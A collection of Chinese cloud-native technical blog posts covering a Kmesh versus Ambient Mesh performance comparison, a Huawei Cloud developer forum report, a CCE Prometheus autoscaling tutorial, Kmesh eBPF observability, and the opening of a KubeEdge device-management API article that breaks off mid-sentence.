Kmesh是业内首个内核级流量治理引擎，Kmesh创新性地将服务治理卸载到内核eBPF和中心代理。Kmesh目前有两种工作模式：Kernel-Native 和 Dual-Engine模式。Kernel-Native模式，Kmesh将流量治理完全下沉操作系统内核，通过eBPF和可编程内核模块对流量进行治理，在整个服务访问链路上不会增加任何多余的连接跳数，提供极致的性能体验。当然Kernel-Native模式对操作系统内核有一定的要求，比较适合对性能有极致要求的用户。 今天重点谈的是Dual-Engine模式（本文后续均以Kmesh指代），这是一种分层的流量治理架构，它是通过eBPF程序拦截应用流量，并根据用户策略进行路由、负载均衡等四层的治理；七层治理则采用中心式代理，这样既可以保证七层治理需求的多样性和扩展性，又避免了Sidecar架构中，流量两次进出七层代理的复杂性。Kmesh Dual-Engine的架构如下图所示：Kmesh Dual-Engine架构Ambient Mesh是Istio社区2022年推出的一种Sidecarless架构，其目的也是为用户提供资源开销更小的网络基础设施。Ambient也是采用分层的流量治理，其中节点上，用户态组件ztunnel负责拦截进出应用的流量，并进行四层转发；中心侧通过waypoint进行七层流量的治理，同样可以做到灵活、按需部署。Ambient Mesh架构我们可以看到Kmesh和Ambient Mesh在架构上非常相似，两者均采用了四七层分离的流量治理架构。然而不同之处在于，Ambient Mesh流量的拦截和转发依靠节点级用户态ztunnel，而Kmesh则依靠eBPF。ztunnel工作在用户态，因此应用发送的流量首先经过iptables的拦截，进入本机协议栈处理一次，发送到ztunnel，而经过ztunnel处理后，再发起第二次连接。同理在服务端，流量也会先被拦截到ztunnel，再次发起连接，然后经由本机协议栈发送到应用进程。但是Kmesh对应用流量的拦截和转发，则是通过eBPF程序在socket的不同钩子点完成，整个过程没有增加多余的连接，因此每次通信过程比Ambient Mesh少两条连接。说到这里就不得不提一下Kmesh的设计初衷了。 Kmesh设计之道 当前用户在考虑服务网格落地时最担心的几个典型问题是：网格基础设施不够可靠，运维复杂，因为过多的中间点出现在服务的访问链路中，服务访问被不同的连接管道串联， 故障定位变得复杂Sidecar带来的CPU、内存资源开销不可忽视网格无法独立升级，它的生命周期与应用绑定，升级过程伴随着应用重启基础设施代理额外的服务访问时延增加Kmesh重点考虑了以上问题并结合用户对网格的基本诉求，定义了五大设计原则：极简运维，打造足够可靠、轻量、解耦的网络基础设施，尽量的减少用户的维护成本。高性能，微服务架构下，服务的调用拓扑一般都很长，有的请求甚至有10+次调用链，因此必须保证在绝大多数情况下，小于1ms的时延。低开销，底层网络基础设施占用的CPU、Memory相对于业务容器应该足够小，并且不会随着业务容器的规模而大幅增加。扩展性，为应对不同的协议治理，必须从架构层提供足够的扩展能力高安全，构筑零信任安全的能力，为用户提供全链路可信保障Kmesh五大设计原则  Kmesh与Ambient Mesh性能对比  几个月前，我们将Kmesh v0.5.0与Ambient Mesh v1.22.1在测试环境下（kind集群）进行过对比，只比对了两者在处理L7流量治理的场景下的时延，结果显示，Kmesh的端到端时延较Ambient Mesh提升25%左右。Kmesh与Ambient v1.22对比我们把这个结果汇报给了CNCF TAG-Network以及Istio社区，他们希望在真实的Kubernetes集群以及用最新的版本进行全面的测试。所以我们重新做了完整的测试。▍测试环境我们在华为云香港Region创建了一个Kubernetes 1.30标准版集群，并且纳管了三个Worker节点（Ubuntu 22.04, 规格为4U 16G）。集群中安装Istio 1.24.1 Ambient模式，以及Kmesh最新版本集群中部署了Fortio测试工具，无资源限制，其中Fortio-Client与Fortio-Server均为单副本，分别部署在不同的节点七层代理waypoint按需部署，在Kmesh和Ambient测试中，均与Fortio-Server部署在同一个节点，保证两者拓扑一致waypoint 规格2核1GFortio测试采用连接复用，并发连接数（1,2,4,8,16,32,64,128）▍最大吞吐量L4治理吞吐四层服务治理，Kmesh的最大吞吐与基线（没有任何治理）基本一致，Kmesh的吞吐能力是Ambient Mesh的两倍左右。这里主要是因为，Kmesh的采用eBPF随流治理，不会增加访问路径的长度，而Ambient Mesh在客户端和服务端两个节点分别多了一个ztunnel用户态代理，导致流量路径多了两条连接。L7治理吞吐L7治理吞吐放大图七层服务治理，Kmesh与Ambient吞吐量均比基线差，因为两者均多了一层七层Envoy代理。但是Kmesh的吞吐大概是Ambient Mesh的1.3倍，这里还是得益于Kmesh的治理路径上少了两次用户态代理，减少了数据的用户态和内核态拷贝次数以及协议栈处理的次数。▍服务治理时延我们选取了在固定QPS 1024下，分别测试Kmesh和Ambient Mesh的L4和L7治理的时延。L4服务治理时延测试可以看到Kmesh的L4治理相比于基线，基本上没有增加额外的时延开销，而Ambient Mesh在并发连接数比较高的时候，增加了大概1.5ms的时延。可能是由于ztunnel在新版本引入了连接池导致。L7服务治理时延测试我们可以看到在并发连接数低时，Kmesh与Ambient Mesh的七层治理时延增加非常少，在小于8并发的时候，Kmesh的时延小于1ms，Ambient Mesh的时延不可预测性更大，其P99时延甚至增加8ms。随着并发连接数增加，Kmesh和Ambient Mesh的时延均增加。但是在小于32并发时，Kmesh的P99时延比Ambient Mesh好两倍多。在更高128并发时，Ambient Mesh的表现似乎更优一些，但是差距不大。在笔者看来，造成以上结果的原因，主要有两点。1、Waypoint采用Envoy实现，当前测试中Envoy均启动两个worker线程并发处理。Envoy的线程间不共享任何状态和数据以避免锁冲突，但是同时带来了负载不均衡和延迟不稳定的问题。2、ztunnel的实现中增加了连接池的优化，虽然连接复用可以在高并发时节省一些连接资源，但是也可能带来额外的不稳定时延。CPU和内存Kmesh在节点流量治理采用了eBPF，没有用户态进程，所以引入的资源开销非常小，详细请参考：cid:link_5/en/docs/performance/resource_consumption/而在最大吞吐量测试时，ztunnel的CPU占用率与Fortio应用基本一致，大概100%的CPU占用，而通过bpftop工具可以查看Kmesh的bpf程序CPU利用大概在10%左右，从CPU利用率上来说Kmesh优于Ambient 10 倍数据面内存：在测试中，ztunnel占用的内存保持在10M+，相对比较稳定，Kmesh数据面的内存占用主要在BPF Map的内存分配，当前Kmesh使用的BPF Map已经采用按需分配，因此在测试过程占用的内存更少，小于5M。  测试感悟与总结  本次测试，我们主要在时延和吞吐两个维度对Kmesh和Ambient进行了一定比较，总体来说Kmesh的性能略胜一筹。四层流量治理场景下，Kmesh的性能与基线基本保持一致，全面优于Ambient Mesh。但是在七层治理的场景下，我们看到无论是Kmesh还是Ambient Mesh性能衰减还是比较大，而且也具有一些不稳定的延时。七层代理Waypoint是端到端访问的性能瓶颈，受限于其多线程无锁的设计，在高并发场景下，Envoy的资源分配以及参数调教对性能的影响很重要。另外技术的对比不应该只局限在一些性能参数指标，还应该关注可靠性、运维的便捷性。服务访问链路就像是由多条管道连接起来的输水管，每一个接口连接就相当于一个用户态组件。输水管道中，接口连接处最容易漏水，而服务访问中同样如此，由于不同的代理组件接收、处理及发送数据的速度不一样，因此不同的代理设置不同的连接Buffer，不同的超时，不同的连接池等等参数。越多的连接级联，意味着越多的不可靠因素和风险存在。Kmesh在设计之初就重点考虑了极简运维和高可靠性，Kmesh尽可能地将流量治理下沉，尽量减少连接的跳数，从下图可以看出，Kmesh在服务访问链路上连接跳数比Ambient Mesh少2条，这大大降低了用户在故障后问题定位的复杂度。将节点的流量治理下沉OS内核的另一个好处是，Kmesh在控制面升级时或者重启时，即使BPF程序更新，也不会导致业务的连接中断。而节点级用户态代理，天然不具备升级重启不影响业务通信的能力。  如何使用Kmesh/加入社区贡献  社区地址：cid:link_4安装试用：cid:link_3参考链接1. 实验步骤：cid:link_12. cid:link_53. cid:link_24. https://jimmysong.io/blog/introducing-kmesh-kernel-native-service-mesh/更多云原生技术动向关注容器魔方

12月7日，2024华为云开源开发者论坛在上海顺利召开。本届论坛面向用户企业、生态伙伴、个人和高校开发者，开展主论坛、云原生、开源共创、大前端四大论坛，共启云上创新和价值裂变。云原生与AI成为本次论坛中的热门话题，来自CNCF、小红书、B站、华为云、DaoCloud、多比特、京东等技术大咖齐聚上海，共享KubeEdge、Volcano、Karmada、openGemini、Kmesh、Kuasar、openEuler、Sermant等项目技术的生产实践和创新成果，共探云原生社区合作与未来发展无限可能。开放协作，共创云原生 × AI繁荣生态华为云开源业务总经理邓明昆在论坛上发表《开放协作，共创云原生繁荣生态》演讲。他表示，云原生的商业价值和技术价值已经已经获得市场和社区的广泛认同，华为云作为云原生生态的重要参与者，将持续开放协作，和开发者一起共创云原生繁荣生态。会上，Kmesh Orion 子项目重磅亮相，持续构建内存安全、高性能的云原生数据面。引领云原生技术创新，华为云云原生一路生花。今年，KubeEdge成为CNCF首个云原生边缘计算毕业项目，openGemini、Sermant正式成为CNCF官方项目，Karmada、Volcano海内外多行业代表用户大规模生产落地，Kmesh创新引领Sidecarless服务网格发展，Kuasar 1.0 实现LLM高效开发与灵活部署重塑，推动云原生与AI融合发展。▲ 华为云开源业务总经理邓明昆云原生已成为企业数字化转型的重要基石，随着人工智能的高速发展，云原生和 AI 的融合也正在智能应用和行业场景中展现出更大的潜力。主论坛上，CNCF中国区总监、LF亚太区战略总监Keith Chan分享了开源发展趋势及当前热门的Cloud Native AI。他提到，AI开发者正与云原生开发者呈融合之势，Cloud Native AI即在云原生基础设施上部署和应用AI。在对最终用户的调研中发现，超半数企业在 AI 部署中应用云原生技术，涵盖公有云、私有云及混合云。在迈向CNAI的进程中，云原生生态系统为在云中运行AI工作负载拥有更好体验铺平了道路，有力地支持了GPU共享，对加速云原生AI发展提供了有力的技术支持。▲ CNCF中国区总监、LF亚太区战略总监Keith Chan在《打破算力边界，云原生加速AI应用创新》主题分享中，华为云云原生开源负责人、CNCF技术监督委员会（TOC）委员王泽锋指出，AI应用创新高速发展对算力提出了更高要求，云原生统一算力平台，有效整合资源，实现高效的管理与调度，已成为AI的最佳底座，而统一作业编排和算力调度是平台能力的关键。他详细阐述了基于 Karmada 和 Volcano 的统一算力编排调度方案，包括作业抽象、Gang 调度、装箱调度、统一资源管理、故障迁移等功能，这些云原生能力为AI应用提供了稳定、高效的运行环境，推动AI创新发展。▲ 华为云云原生开源负责人、CNCF技术监督委员会（TOC）委员王泽锋融合创新，智能未来，云原生论坛大咖齐聚小红书容器技术专家、云原生资源效能与应用平台负责人熊峰带来《Karmada助力小红书打造混合云多集群架构》演讲分享。随着业务的飞速发展，小红书内部K8s集群的规模和数量都在快速增长，集群和资源管理难度急剧增大，小红书通过引入 Karmada 多集群方案，打造面向应用的统一平台入口，提升应用跨集群分发与弹性能力，做好应用跨集群调度，高效管理多云基础设施。▲ 小红书容器技术专家、云原生资源效能与应用平台负责人熊峰Bilibili云原生资深研发工程师王凯发表《哔哩哔哩在视频转码场景下基于Volcano的落地实践》演讲。他介绍了为什么选型Volcano并细致讲解了基于 Volcano 的联邦化离线平台介绍和转码场景对 Volcano 做的高吞吐改造。当前 B 站转码任务已经 100% 由 Volcano 调度。借助 Volcano ，B站将批任务处理能力下沉到了平台，可供其他类似场景复用，此外也和其他场景拉齐了调度器。当前 B 站内部 AI、大数据、转码已经都统一了调度器。▲ Bilibili云原生资深研发工程师王凯KubeEdge作为今年新晋的CNCF毕业级项目，也在本次云论坛上趁热给与会项目和开发者们带来了社区治理经验分享，KubeEdge TSC两位专家——华为云高级软件工程师徐飞，道客首席运营官张红兵联合发表《CNCF毕业项目KubeEdge经验分享及行业实践》演讲。KubeEdge自2018年开源以来，一直秉持开源开放的治理理念，在社区开发、社区治理、社区用户采纳等方面都取得重大的进展。成功从CNCF毕业，标志着项目的发展进入成熟的新阶段。▲ KubeEdge TSC，华为云高级软件工程师徐飞，道客首席运营官张红兵华为云数据库技术专家 & openGemini社区Maintainer 范祥从社区技术融合创新的角度，带来《openGemini 与 KubeEdge：探索云边协同的高效时序数据治理方案》分享。他指出，当前，物联网和车联网领域的企业普遍将数据直接传输至云端，这导致了数据流转环节增多，数据处理效率问题变得尤为紧迫。为了应对这一挑战，openGemini携手KubeEdge和社区合作伙伴，致力于打造基于KubeEdge平台的云边协同解决方案，旨在为用户提供简单、便捷且高效的数据处理能力。▲ 华为云数据库技术专家 & openGemini社区Maintainer 范祥华为云Grid可靠性首席技术专家刘翔，Istio社区Steering Committee委员、Kmesh Maintainer徐中虎介绍了《服务网格的未来：Kmesh的设计思想与演进方向》。Kmesh采用eBPF将L4治理下沉内核，配合安全、稳定、可靠的中心式L7代理，将高性能、轻量发挥到极致。Kmesh Orion作为内存安全、高性能的云原生数据面，具备丰富的L7流量治理特性，可以对当前Kmesh的L4流量治理能力进行有效补充，与Kmesh组合将在安全、高性能、低开销、极简运维等方面形成独特的竞争优势。▲ 华为云Grid可靠性首席技术专家刘翔，Istio社区Steering Committee委员，Kmesh Maintainer徐中虎华为云容器基础设施架构师冯绍宝，华为高级工程师、openEuler sig-cloudnative Maintainer徐学鹏介绍了Kuasar新型轻量化容器沙箱的探索和实践。单一容器沙箱很难同时满足安全、通用和资源效率这3个特性。Kuasar提出一套Sandbox管理框架，通过简化架构，抽象接口，配合轻量级容器引擎iSulad，提供了丰富的沙箱类型支持，可大幅沙箱容器的启动速度和资源效率。iSulad+Kuasar将在Serverless、AI、机密容器等场景持续演进，在云原生时代发挥更大的作用。▲ 华为云容器基础设施架构师冯绍宝，华为高级工程师，openEuler sig-cloudnative Maintainer冯学鹏多比特基础架构组负责人陈志军发表《小游戏出海场景下基于Sermant的云原生微服务架构演进》演讲。他介绍了在中国小游戏企业出海渐成趋势之际面临的挑战及对微服务架构的选型过程。Sermant具备高性能、资源占用少、代码0侵入等优势，全面的类隔离机制实现0类冲突，且提供更丰富、更灵活的服务治理功能解耦，微服务运行时动态挂载：服务0中断。多比特在基于Sermant的实践中，探索出了一条保证业务稳定和成本可控的道路。▲ 多比特基础架构组负责人陈志军在论坛期间的云原生趋势谈主题圆桌中，CNCF中国区总监、LF亚太区战略总监Keith Chan，华为云云原生开源负责人、CNCF TOC王泽锋，道客首席运营官、KubeEdge TSC张红兵，京东高级算法工程师王龙辉，华为云高级软件工程师任洪彩进行了云原生趋势深度探讨，共研开源跨社区合作、用户社区合作以及云原生与AI未来发展等话题。▲ 圆桌对话：云原生趋势谈让每一位开发者都成为决定性的力量。在大会主论坛上，来自Karmada、Volcano、KubeEdge、openGemini等社区的多位云原生社区核心贡献者，荣获年度杰出开源开发者奖项。该奖项用于致谢开发者们在华为云开源开发者生态中的协作贡献和卓越价值。▲ 年度杰出开源开发者作为全球云原生生态的长期参与者与贡献者，华为云深耕云原生技术创新，是CNCF唯一的中国创始成员，拥有CNCF多个项目技术委员会、治理委员会成员及核心Maintainer席位，并在2024年获得了全球顶级开源组织CNCF中国本土唯一TOC委员席位。坚持开源创新，驱动产业升级，随着企业用云的不断深入，华为云持续创研业界领先的云原生产品方案，连续八次中国容器软件市场份额No.1，分布式云原生UCS、云容器引擎CCE、Serverless容器CCE Autopilot和CCI等代表产品引领全行业智能化发展趋势，为企业数智化转型提供强大动力。融合创新，智领未来。开源社区不仅仅在各自的技术领域中加深探索创新，也在跨社区的应用合作与融合发展中不断拓宽可能性。本次华为云开源开发者论坛云原生分论坛，为用户和开发者们带来了多项目、多领域的行业用户实践经验和技术创新成果分享，而成熟发展的云原生生态系统也正在加速引领各行各业迈向智能未来。更多云原生技术动向关注容器魔方

CCE(华为云容器集群服务)提供云原生监控插件（kube-prometheus-stack），可全面对接开源Prometheus生态，支持类型丰富的组件监控，并提供了多种开箱即用的预置监控大盘。本文就分享了基于Prometheus指标的弹性伸缩实践。准备工作：有华为云账号，且经过实名认证操作步骤：1 创建一个集群1.1 购买集群登录CCE控制台，在“集群管理”页面右上角单击“购买集群”。在“购买集群”页面，按需填写集群配置参数。如果没有虚拟私有云和子网可以参考以下操作：登录控制台，在搜索栏搜VPC，点击进入网络控制台页面点击右上角“创建虚拟私有云”按钮，进行创建。如下图配置VPC和子网信息，名称和网段自定义即可，最后点击右下角“立即创建”按钮创建后如下图显示在集群配置页面选择已创建的子网和私有云即可，单击“下一步：插件选择”，选择创建集群时需要安装的插件。单击“下一步：插件配置”，配置插件。参数填写完成后，单击“下一步：确认配置”，显示集群资源清单，确认无误后，单击“提交”。集群创建预计需要5-10分钟，您可以单击“返回集群管理”进行其他操作或单击“查看集群事件列表”后查看集群详情。2 安装云原生监控插件2.1 安装插件登录CCE控制台，单击集群名称进入集群，单击左侧导航栏的“插件中心”。在“插件中心”页面右侧找到云原生监控插件，单击“安装”。2.2 参数配置本地数据存储：本实践使用本地存储监控数据，监控数据可选择是否上报至AOM或三方监控平台。自定义指标采集：该配置在本实践中必须选择开启，否则将无法采集自定义指标。3 获取Prometheus监控数据3.1 部署测试应用进入节点列表点击节点名称进入ECS控制台，选择远程登录，使用CloudShell登录到云主机。1）创建sample-app.yaml文件，通过yaml文件部署名称为“sample-app”的应用：内容如下：apiVersion: apps/v1kind: Deploymentmetadata:  name: sample-app  labels:    app: sample-appspec:  replicas: 1  selector:    matchLabels:      app: sample-app  template:    metadata:       labels:        app: sample-app    spec:      containers:       - image: swr.cn-east-3.myhuaweicloud.com/container/autoscale-demo:v0.1.2 #示例镜像        name: metrics-provider         resources:          requests:            cpu: 250m            memory: 512Mi          limits:            cpu: 250m            memory: 512Mi        ports:        - name: http          containerPort: 8080   #容器暴露的端口      imagePullSecrets:        - name: default-secret---apiVersion: v1kind: Servicemetadata:  name: sample-app  namespace: default  labels:     app: sample-appspec:  ports:     - port: 80      name: http      protocol: TCP      targetPort: 8080  selector:    app: sample-app   type: ClusterIP2）创建工作负载。登陆容器集群后台，执行命令行创建工作负载：kubectl apply -f sample-app.yaml3.2 创建ServiceMonitor监控自定义指标1）创建servicemonitor.yaml文件，内容如下：apiVersion: monitoring.coreos.com/v1 kind: ServiceMonitormetadata:  name: sample-app  # ServiceMonitor名称  namespace: defaultspec:  endpoints:        # 定义要监控的服务的端点，包括名称、端口、路径、协议等信息  - interval: 30s   # 表示Prometheus Operator将每30秒检查一次服务是否需要添加到监控目标列表中    port: http    path: /metrics  namespaceSelector:    any: true  selector:     matchLabels:      app: sample-app  #需要采集数据的对象标签2）创建ServiceMonitor登陆容器集群后台，执行命令行创建监控服务：kubectl apply -f servicemonitor.yaml4 修改Prometheus配置文件4.1 修改自定义指标采集规则修改Prometheus的adapter-config配置项，通过修改user-adapter-config中rules字段将Prometheus暴露出的指标转换为HPA可关联的指标。（HPA策略即Horizontal Pod Autoscaling，是Kubernetes中实现POD水平自动伸缩的功能。）在rules字段下添加自定义指标采集规则。以收集内存指标示例如下：rules:- seriesQuery: container_memory_working_set_bytes{namespace!="",pod!=""}  resources:    overrides:      namespace:         resource: namespace      pod:         resource: pod  name:    matches: ^(.*)_bytes    as: ${1}_bytes_per_second #此处${1}取值为matches:"^(.*)_bytes"中^(.*)匹配到的值  metricsQuery: sum(<<.Series>>{<<.Label Matchers>>}) by (<<.GroupBy>>)重新部署monitoring命名空间下的custom-metrics-apiserver工作负载。（monitoring命名空间是安装云原生监控插件时自动生成，无需手动创建）在容器集群后台执行命令查看采集指标是否添加成功。kubectl get --raw /apis/custom.metrics.k8s.io/v1beta1/namespaces/default/pods/*/container_memory_working_set_bytes_per_second5 创建HPA策略5.1 使用自定义指标创建HPA策略。创建hpa.yaml文件，内容如下：kind: HorizontalPodAutoscalerapiVersion: autoscaling/v2metadata:  name: sample-app-memory-highspec:# HPA的伸缩对象描述，HPA会动态修改该对象的Pod数量。  scaleTargetRef:    apiVersion: apps/v1    kind: Deployment    name: sample-app# HPA的最小Pod数量和最大Pod数量。  minReplicas: 1  maxReplicas: 10# 监控的指标数组，支持多种类型的指标共存。  metrics:  - type: Pods    pods:      metric:         name: container_memory_working_set_bytes_per_second   # 使用自定义容器指标      target:        type: AverageValue  # AverageValue类型的目标值，Pods指标类型下只支持AverageValue类型的目标值        averageValue: 1024000m   # 此处1024000m代表1KB创建HPA策略。kubectl apply -f hpa.yaml查看HPA策略是否生效。kubectl get hpa sample-app-memory-high6 实验结束弹性伸缩之前：弹性伸缩之后：

Kmesh 是内核原生Sidecarless服务网格数据平面。它借助 "eBPF "和 "可编程内核"，将流量治理下沉到操作系统内核，大大的降低了服务网格的资源开销和网络延迟。通过eBPF，流量数据可以直接在内核中获取，并且能够使用 "bpf map"将数据传递到用户空间。Kmesh使用这些数据构建监控指标和访问日志。▍如何获取原始数据在内核中，可以直接获取socket携带的流量信息。bpf_tcp_sock 中携带的数据如下：struct bpf_tcp_sock { __u32 snd_cwnd; /* Sending congestion window */ __u32 srtt_us; /* smoothed round trip time << 3 in usecs */ __u32 rtt_min; __u32 snd_ssthresh; /* Slow start size threshold */ __u32 rcv_nxt; /* What we want to receive next */ __u32 snd_nxt; /* Next sequence we send */ __u32 snd_una; /* First byte we want an ack for */ __u32 mss_cache; /* Cached effective mss, not including SACKS */ __u32 ecn_flags; /* ECN status bits. */ __u32 rate_delivered; /* saved rate sample: packets delivered */ __u32 rate_interval_us; /* saved rate sample: time elapsed */ __u32 packets_out; /* Packets which are "in flight" */ __u32 retrans_out; /* Retransmitted packets out */ __u32 total_retrans; /* Total retransmits for entire connection */ __u32 segs_in; /* RFC4898 tcpEStatsPerfSegsIn * total number of segments in. */ __u32 data_segs_in; /* RFC4898 tcpEStatsPerfDataSegsIn * total number of data segments in. */ __u32 segs_out; /* RFC4898 tcpEStatsPerfSegsOut * The total number of segments sent. */ __u32 data_segs_out; /* RFC4898 tcpEStatsPerfDataSegsOut * total number of data segments sent. */ __u32 lost_out; /* Lost packets */ __u32 sacked_out; /* SACK'd packets */ __u64 bytes_received; /* RFC4898 tcpEStatsAppHCThruOctetsReceived * sum(delta(rcv_nxt)), or how many bytes * were acked. */ __u64 bytes_acked; /* RFC4898 tcpEStatsAppHCThruOctetsAcked * sum(delta(snd_una)), or how many bytes * were acked. */ __u32 dsack_dups; /* RFC4898 tcpEStatsStackDSACKDups * total number of DSACK blocks received */ __u32 delivered; /* Total data packets delivered incl. rexmits */ __u32 delivered_ce; /* Like the above but only ECE marked packets */ __u32 icsk_retransmits; /* Number of unrecovered [RTO] timeouts */ };注意: 上述数据并没完全用于监控指标和访问日志功能。Kmesh将在后续的开发中逐步补充这些指标。现阶段使用的数据有：struct tcp_probe_info { __u32 type; struct bpf_sock_tuple tuple; __u32 sent_bytes; __u32 received_bytes; __u32 conn_success; __u32 direction; __u64 duration; // ns __u64 close_ns; __u32 state; /* tcp state */ __u32 protocol; __u32 srtt_us; /* smoothed round trip time << 3 in usecs */ __u32 rtt_min; __u32 mss_cache; /* Cached effective mss, not including SACKS */ __u32 total_retrans; /* Total retransmits for entire connection */ __u32 segs_in; /* RFC4898 tcpEStatsPerfSegsIn * total number of segments in. */ __u32 segs_out; /* RFC4898 tcpEStatsPerfSegsOut * The total number of segments sent. */ __u32 lost_out; /* Lost packets */ };除了这些socket携带的数据外，Kmesh通过socket_storage在建立链接时存储临时数据。当链接关闭时，从之前存储的临时数据中获取链接持续时间等数据。▍数据处理Kmesh在内核中获取了来自链接的数据后，会通过ringbuf将数据传递给用户态。Kmesh在用户态将ringbuf的数据解析之后，根据这些数据中携带的源服务和目标服务信息更新metricController中的缓存和构建metricLabels。构建的metricLabels有workload粒度的也有service粒度的。但workload粒度的监控指标最多是集群中pod数量的平方，因此Kmesh提供一个启动开关，使用户能够按需启用监控指标功能和访问日志功能。namespacedhost := "" for k, portList := range dstWorkload.Services { for _, port := range portList.Ports { if port.TargetPort == uint32(dstPort) { namespacedhost = k break } } if namespacedhost != "" { break } }建立工作负载粒度的度量和服务粒度的度量metricLabels后，更新缓存。每5秒钟，监控指标信息都会通过Prometheus API更新到Prometheus中。在处理指标时，会一起生成访问日志。每次链接关闭时，都会将生成的Accesslog打印到Kmesh的日志中。Kmesh监控指标功能和访问日志功能的整体架构图如下所示：指标细节现阶段Kmesh L4层监控的指标如下：工作负载粒度:NameDescribekmesh_tcp_workload_connections_opened_total源工作负载和目标工作负载之间总共建立了多少次链接kmesh_tcp_workload_connections_closed_total源工作负载和目标工作负载之间总共关闭了多少次链接kmesh_tcp_workload_received_bytes_total目标工作负载接收到了多少的数据kmesh_tcp_workload_sent_bytes_total源工作负载发送了多少的数据kmesh_tcp_workload_conntections_failed_total源工作负载和目标工作负载之间建立链接失败了多少次服务粒度:NameDescribekmesh_tcp_connections_opened_total源工作负载和目标服务之间总共建立了多少次链接kmesh_tcp_connections_closed_total源工作负载和目标服务之间总共关闭了多少次链接kmesh_tcp_received_bytes_total目标服务接收到了多少的数据kmesh_tcp_sent_bytes_total源工作负载发送了多少的数据kmesh_tcp_conntections_failed_total源工作负载和目标服务之间建立链接失败了多少次监控指标例子:kmesh_tcp_workload_received_bytes_total{connection_security_policy="mutual_tls",destination_app="httpbin",destination_canonical_revision="v1",destination_canonical_service="httpbin",destination_cluster="Kubernetes",destination_pod_address="10.244.0.11",destination_pod_name="httpbin-5c5944c58c-v9mlk",destination_pod_namespace="default",destination_principal="-",destination_version="v1",destination_workload="httpbin",destination_workload_namespace="default",reporter="destination",request_protocol="tcp",response_flags="-",source_app="sleep",source_canonical_revision="latest",source_canonical_service="sleep",source_cluster="Kubernetes",source_principal="-",source_version="latest",source_workload="sleep",source_workload_namespace="default"} 231也能够通过prometheus dashboard查看监控指标。具体步骤参考Kmesh可观测性文档。现阶段Kmesh访问日志展示的字段如下：NameDescribesrc.addr请求的源地址和端口src.workload源工作负载名称src.namespace源工作负载所在的namespacedst.addr请求的目标地址和端口dst.service目标服务的域名dst.workload目标工作负载的名称dst.namespace目标工作负载的命名空间direction流量流向，OUTBOUND表示从节点流出，INBOUND表示从流入节点sent_bytes本次链接发送的数据量received_bytes本次链接接收的数据量duration本次链接的持续时间Accesslog Result:accesslog: 2024-09-14 08:19:26.552709932 +0000 UTC src.addr=10.244.0.17:51842, src.workload=prometheus-5fb7f6f8d8-h9cts, src.namespace=istio-system, dst.addr=10.244.0.13:9080, dst.service=productpage.echo-1-27855.svc.cluster.local, dst.workload=productpage-v1-8499c849b9-bz9t9, dst.namespace=echo-1-27855, direction=INBOUND, sent_bytes=5, received_bytes=292, duration=2.733902ms▍SummaryKmesh直接从套接字获取流量数据，并将其作为ringbuf传递到用户空间，以生成监控指标和访问日志。避免在用户空间拦截流量并以本地方式获取指标。定期批量更新用户空间中的指标，避免在大流量时增加网络延迟。随后，我们还将开发跟踪功能，以补充 Kmesh 的可观测能力。欢迎感兴趣的同学加入Kmesh开源社区!12月7日，Kmesh技术专家将在2024华为云开源开发者论坛上带来《服务网格的未来：Kmesh的设计思想与演进方向》技术分享及重磅发布！添加小助手k8s2222，报名领票参会！

开放创新，释放云上数字生产力。12月7日，2024华为云开源开发者论坛将于上海举办。本届论坛面向生态合作伙伴、企业、个人和高校开发者，设置主论坛、云原生、开源共创、大前端四大论坛，帮助开发者使用开源链接鲲鹏、昇腾根生态和华为云生态，实现高效创新和价值裂变。2024华为云开源开发者论坛云原生专场汇聚 KubeEdge、Volcano、Karmada、Kmesh、openGemini、Sermant、OpenTiny、Kuasar 等技术大咖，邀您共探前沿技术，共领智能未来！完整议程已揭晓，欢迎报名参会 https://hdxu.cn/mitm

作者：王彬丞、杨志佳、刘家伟随着万物互联时代快速到来，5G网络普及导致边缘设备产生的数据量快速增长。普通的边缘设备计算能力不足，因此传统方法会将边缘侧数据集中汇聚到云端数据中心进行处理，容易对响应实时性、网络稳定性以及数据安全性产生挑战。为满足用户在大规模设备场景中更高的可用性需求，KubeEdge Device-IoT在1.12版本推出设备管理框架（Device Management Interface，DMI）。DMI整合设备管理接口，将管理面和业务面数据解耦，优化边缘计算场景下的设备管理能力，打造基于云原生技术的设备数字孪生管理平台。在 1.15 版本中，我们根据边缘设备管理的用户需求迭代更新 v1beta1 版本的设备管理  API，并以此为基础完善 DMI 数据面功能，承载于南向的 Mapper 开发框架 Mapper-Framework 中。Mapper-Framework 提供了全新的 Mapper 自动生成框架，框架中集成了 DMI 设备管理面与数据面能力，能够自动生成 Mapper 工程，用户只需实现其中的设备驱动的功能即可使用 Mapper 管理边缘设备，简化用户设计开发 Mapper 的复杂度，提升开发效率。针对新版本 Device-IoT 领域的更新，我们计划推出一系列的文章对这些特性进行详细的介绍，大致的文章大纲为：基于物模型的设备管理 API 设计与实现DMI 数据面能力设计与实现Mapper 开发框架 Mapper-Framework 设计与实现如何使用 Mapper 完成视频流数据处理如何使用 Mapper 实现设备数据写入如何从头开发一个 Mapper（以 modbus 为例） 本篇文章是系列文章的第一篇，主要介绍基于物模型的设备管理 API。    基于物模型的设备管理 API  为适应用户需求，在 v1.15.0 版本中，KubeEdge SIG Device-IoT 提出基于物模型的设备管理 API，将 Device Model 与 Device Instance从 v1alpha2 版本升级为 v1beta1 版本。新版本的设备管理 API 能够更全面的描述物理设备，新增了边缘设备数据处理的相关字段，能够适配 DMI 数据面能力增强功能。北向设备  API 结合南向的 DMI 接口，实现设备管理与设备数据处理，API 的主要更新包括：▍1. Device ModelDevice Model 用以描述一类边缘设备共同的设备属性。按照物模型的定义，Device Model 中新增了设备属性描述、设备属性类型、设备属性取值范围、设备属性单位等字段，如下图所示：// ModelProperty describes an individual device property / attribute like temperature / humidity etc. type ModelProperty struct { // Required: The device property name. // Note: If you need to use the built-in stream data processing function, you need to define Name as saveFrame or saveVideo Name string `json:"name,omitempty"` // The device property description. // +optional Description string `json:"description,omitempty"` // Required: Type of device property, ENUM: INT,FLOAT,DOUBLE,STRING,BOOLEAN,BYTES,STREAM Type PropertyType `json:"type,omitempty"` // Required: Access mode of property, ReadWrite or ReadOnly. AccessMode PropertyAccessMode `json:"accessMode,omitempty"` // +optional Minimum string `json:"minimum,omitempty"` // +optional Maximum string `json:"maximum,omitempty"` // The unit of the property // +optional Unit string `json:"unit,omitempty"` }上图展示了 Device Model 的核心 ModelProperty 字段，其中 Type 字段定义该属性的数据类型，AccessMode 定义该属性的访问方式，包括读写和只读两种。当访问方式设置为只读时，Mapper 会直接返回采集到的设备数据，反之当设置为读写后，Mapper 会对采集到的设备数据进行归一化等处理后再返回。Minimum 与 Maximum 